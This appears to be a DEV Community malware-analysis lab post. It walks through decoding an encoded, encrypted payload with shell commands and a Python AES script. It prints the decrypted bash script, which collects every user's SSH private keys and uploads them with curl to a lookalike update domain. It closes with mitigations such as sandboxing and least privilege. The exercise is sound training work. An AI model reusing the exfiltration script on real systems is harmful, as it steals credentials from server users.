DEV Community

fosres
fosres

Posted on

Week 12: Malware Analysis Lab: Can You Identify This Malware?

Can You Identify This Malware?

Time: 60–90 minutes

Difficulty: Intermediate

Skills: BASH CLI, Python Scripting, Applied Cryptography, Encoding Schemes, Linux File Permissions


A Horror Story First

In 2022, a security team at a cloud storage provider discovered an anomaly in their
server logs. A file had been uploaded through a legitimate API endpoint — nothing in
the filename, content-type header, or file size triggered any automated alerts. The
file sat quietly on disk for eleven days.

Then a scheduled job — one that processed uploaded files — picked it up, decoded
it, and executed it. Within ninety seconds the server had exfiltrated SSH private keys
for every user account on the host to an external server registered under a
convincingly generic domain name: something indistinguishable from a Linux
software update mirror.

The attacker never exploited a CVE. They never brute-forced a password. They
uploaded a file and waited. The vulnerability was that the server trusted the content
of user-uploaded files.

This is not a hypothetical. Malicious file uploads that lead to server-side execution
are one of the most underestimated attack vectors in production systems. OWASP
lists unrestricted file uploads as a critical risk — and for good reason. The damage
is always discovered after the fact, and the forensic trail is often cold by then.


Why This Challenge Matters

Most security challenges test one skill in isolation. This one tests five simultaneously
— because real incidents don't stay in one lane.

When a suspicious file lands on your desk, you need to:

  1. BASH Command Line Interface
  2. Python Scripting
  3. Applied Cryptography
  4. Encoding Schemes
  5. Linux File Permissions

If you can work through this challenge without hints, you have the practical skill
set to contribute to a real incident investigation.


The Challenge

A file server has been deployed. Shortly after, the engineering team notices a
suspicious file on the server. They send it to you and ask you to investigate.

/Td6WFoAAATm1rRGAgAhARYAAAB0L+Wj4AI5AexdAD2IiaczqOaooQTUvYvrOTtlBM046l0zq3OWGNHrTbAOi96Co4nh+rjwB/eS
XwPZixupEx+2fybd37UvRxdXqaiQU4TMTMfhh8Znvu2dB6V9FNyNnnLlcOGR83ZvdtIjIFL0Lo70fMMkXCFgyXFTgIde6Zd/J5oN
vziyxA3Y79lbWLDwASuLwVF45lclGAahtm9cJN8y4tFc4DW0xv0XxppTHsjgNTUW93KusEsI6b8p8ArUkz1Pvyas4DPY2RGPLCXe
LzIfbv3fFZ/obm1Und0OLuftaAunWCYRv7F5B15zW+rwNGbxrwLrw+/hBowBr6bB6ALKPl2YfBKXZ8bCh4J0BzpKT4iFTvzNSJCK
B7/yWK6pJHSnf7Otpa27YNyzzmRV4TVQuDAs7fSHa3OGR//Y8QqU6EumjrPud3QlXTh7jD3zSnfsBplTBoG0wijrd6MHmkauLPtA
nyy+KpCmVsIqQvHKhXxS2Zdo1Dk9pjGqY6/UkgTmjO0oxQ3zsweCU3WekW/trjVUUlUT8w+koXBqZAugVXggMThMLZYh6hzCxiwq
I+AQt5h+29V/cj2j8FNYv3KDaEA7AYR2j0M9ZRBs+7Fzh1qklrBlKheUMgyC8kw2LgBqUc62E8/BiJiOhKJ7ZE0VO6ZEnMOMAAC1
67rGYwT5OgABiAS6BAAAiuLwsbHEZ/sCAAAAAARZWg==
Enter fullscreen mode Exit fullscreen mode

Question 1 — What is this file? What does it do? How did you determine what it does?

Question 2 — If this is malware, what mitigating factors might prevent it from working correctly?


My Solution

Question 1

The file carries a malicious BASH script designed to exfiltrate SSH private keys
to an attacker-controlled server.

How I found out:

Step 1. Copied the base64-encoded contents to /tmp/test.txt

Step 2.

base64 -d /tmp/test.txt > /tmp/suspicious_file.txt
Enter fullscreen mode Exit fullscreen mode

Step 3.

file /tmp/suspicious_file.txt
Enter fullscreen mode Exit fullscreen mode
/tmp/suspicious_file.txt: XZ compressed data, checksum CRC64
Enter fullscreen mode Exit fullscreen mode

Step 4.

xz -d /tmp/suspicious_file.txt > /tmp/suspicious_file
Enter fullscreen mode Exit fullscreen mode

Step 5.

cat /tmp/suspicious_file
Enter fullscreen mode Exit fullscreen mode
{"mode": "aes-256-cbc", "key": "Nwu8bVtV0IgF/PLKS8HcknL3wNuUto3sltGP2PGHTgE=", "iv": "OzkGR+FoVEa8jCReqisDGw==", "ct": "ovXxLEy3h8OJU0P4md29Wk8zwIlD9NobozB/yS50YaUP3R6MHVAzSAfs9f6HI59Keak0KBHlJ1wkiYcOshyKSDz3YECo8tauHk7589PAOUByLBo6rQtwXBImcLjuowR6dwK76+1ouromzTB+mezc+NWefHks4HeWLPxMxUoSLAqHqUg7YjZYjaLdPfZdd2IH7hKK/HRXHgV0vXS99n4a8WYkHvwNt/yalxS86h7VI0lBsZVs7Cr9HdyRRaN9ra6+WI0jwmwxXIEv7FIs22aXZTtt7Fk88QHcVdBIsPjYKiTiRnHJaNp9XWn5Lnn9EURnmQ+0emDotlm+NhVjA8TGeC4zgvllQMKAlJenY6Q8YEyAfzmVMPwyfaJQl7J3HbVfi4nslzG+jkWUyP/CbYt02t3IClUlUA8sFhr9YJtCknSWU9gUVMjsT4SJjCQ8Cc3s"}
Enter fullscreen mode Exit fullscreen mode

The JSON payload contains an AES-256-CBC encrypted blob with the key and IV
stored alongside the ciphertext. I wrote the following Python script to decrypt it:

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64

def encryptaes256_cbc(key: bytes, iv: bytes, plaintext: bytes) -> bytes:
    """
    Encrypts the given plaintext using AES-256-CBC encryption.

    Parameters:
    - key: bytes — 32-byte (256-bit) key
    - iv: bytes — 16-byte (128-bit) initialization vector
    - plaintext: bytes — plaintext to encrypt

    Returns:
    - bytes: encrypted ciphertext

    Raises:
    - ValueError: if key is not 32 bytes or IV is not 16 bytes
    """
    if len(key) != 32:
        raise ValueError("Key length should be 32 bytes (256 bits).")
    if len(iv) != 16:
        raise ValueError("IV length should be 16 bytes (128 bits).")
    cipher = AES.new(key, AES.MODE_CBC, iv)
    padded_plaintext = pad(plaintext, AES.block_size)
    ciphertext = cipher.encrypt(padded_plaintext)
    return ciphertext

def decryptaes256_cbc(key: bytes, iv: bytes, ciphertext: bytes) -> bytes:
    """
    Decrypts the given ciphertext using AES-256-CBC decryption.

    Parameters:
    - key: bytes — 32-byte (256-bit) key
    - iv: bytes — 16-byte (128-bit) initialization vector (same as used during encryption)
    - ciphertext: bytes — ciphertext to decrypt

    Returns:
    - bytes: decrypted plaintext

    Raises:
    - ValueError: if key is not 32 bytes or IV is not 16 bytes
    """
    if len(key) != 32:
        raise ValueError("Key length should be 32 bytes (256 bits).")
    if len(iv) != 16:
        raise ValueError("IV length should be 16 bytes (128 bits).")
    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted_data = cipher.decrypt(ciphertext)
    plaintext = unpad(decrypted_data, AES.block_size)
    return plaintext

key = "Nwu8bVtV0IgF/PLKS8HcknL3wNuUto3sltGP2PGHTgE="
key_base64 = base64.b64decode(key)

iv = "OzkGR+FoVEa8jCReqisDGw=="
iv_base64 = base64.b64decode(iv)

ciphertext = "ovXxLEy3h8OJU0P4md29Wk8zwIlD9NobozB/yS50YaUP3R6MHVAzSAfs9f6HI59Keak0KBHlJ1wkiYcOshyKSDz3YECo8tauHk7589PAOUByLBo6rQtwXBImcLjuowR6dwK76+1ouromzTB+mezc+NWefHks4HeWLPxMxUoSLAqHqUg7YjZYjaLdPfZdd2IH7hKK/HRXHgV0vXS99n4a8WYkHvwNt/yalxS86h7VI0lBsZVs7Cr9HdyRRaN9ra6+WI0jwmwxXIEv7FIs22aXZTtt7Fk88QHcVdBIsPjYKiTiRnHJaNp9XWn5Lnn9EURnmQ+0emDotlm+NhVjA8TGeC4zgvllQMKAlJenY6Q8YEyAfzmVMPwyfaJQl7J3HbVfi4nslzG+jkWUyP/CbYt02t3IClUlUA8sFhr9YJtCknSWU9gUVMjsT4SJjCQ8Cc3s"
ct_base64 = base64.b64decode(ciphertext)

decrypted_plaintext = decryptaes256_cbc(key_base64, iv_base64, ct_base64)
print("Decrypted plaintext:", decrypted_plaintext.decode())
Enter fullscreen mode Exit fullscreen mode

Decryption revealed the following malicious BASH script:

#!/bin/bash

TD=$(mktemp d)
TD2=$(mktemp d)
HN=$(hostname)

find /home/*/.ssh/* -type f 2>/dev/null | xargs -I {} cp {} "$TD/"

TF="$TD2/$HN.tgz"
tar -czf "$TF" -C "$TD"

U="https://media.linux-updates.xyz/upload"
curl -X PUT -H "Content-Type: application/octet-stream" --data-binary "@$TF"

rm -rf "$TD2"
rm -rf "$TD"
Enter fullscreen mode Exit fullscreen mode

The attacker's intent is clear: if the file server decrypts and executes this
payload, it copies all SSH private keys from every user's .ssh directory,
archives them, and uploads the archive to the attacker's server at U. The file
should be deleted immediately and the uploading user banned from the service
and reported to the relevant authorities where applicable.


Question 2

The JSON payload obviously carries a malicious script. Whenever
the server must retrieve a file from the payload the server must
ensure the executable permissions bit is NEVER set. This way
the server cannot execute the BASH script.

If the file server offers to run scripts on behalf of the user
then the server must execute the script inside a virtualized
environment such as a hypervisor or secure container (e.g. Docker)
where there is no such secret data stored in the safe environment.
This way no dangerous files in the host machine will be compromised.

That, and to avoid Malicious File Upload as done in the
curl command in the BASH script only a whitelist of domains for
requests should be allowed in the safe environment.

Finally, ensure the user account in the secure environment
has the lowest privileges necessary--so the script shown above
cannot access any directories belonging to other users in the
home directory.


If you want more challenges like this one, star the repo:
github.com/fosres/SecEng-Exercises

What was the hardest part for you? Vote here:
strawpoll.com/wby5QoKAkyA

Top comments (0)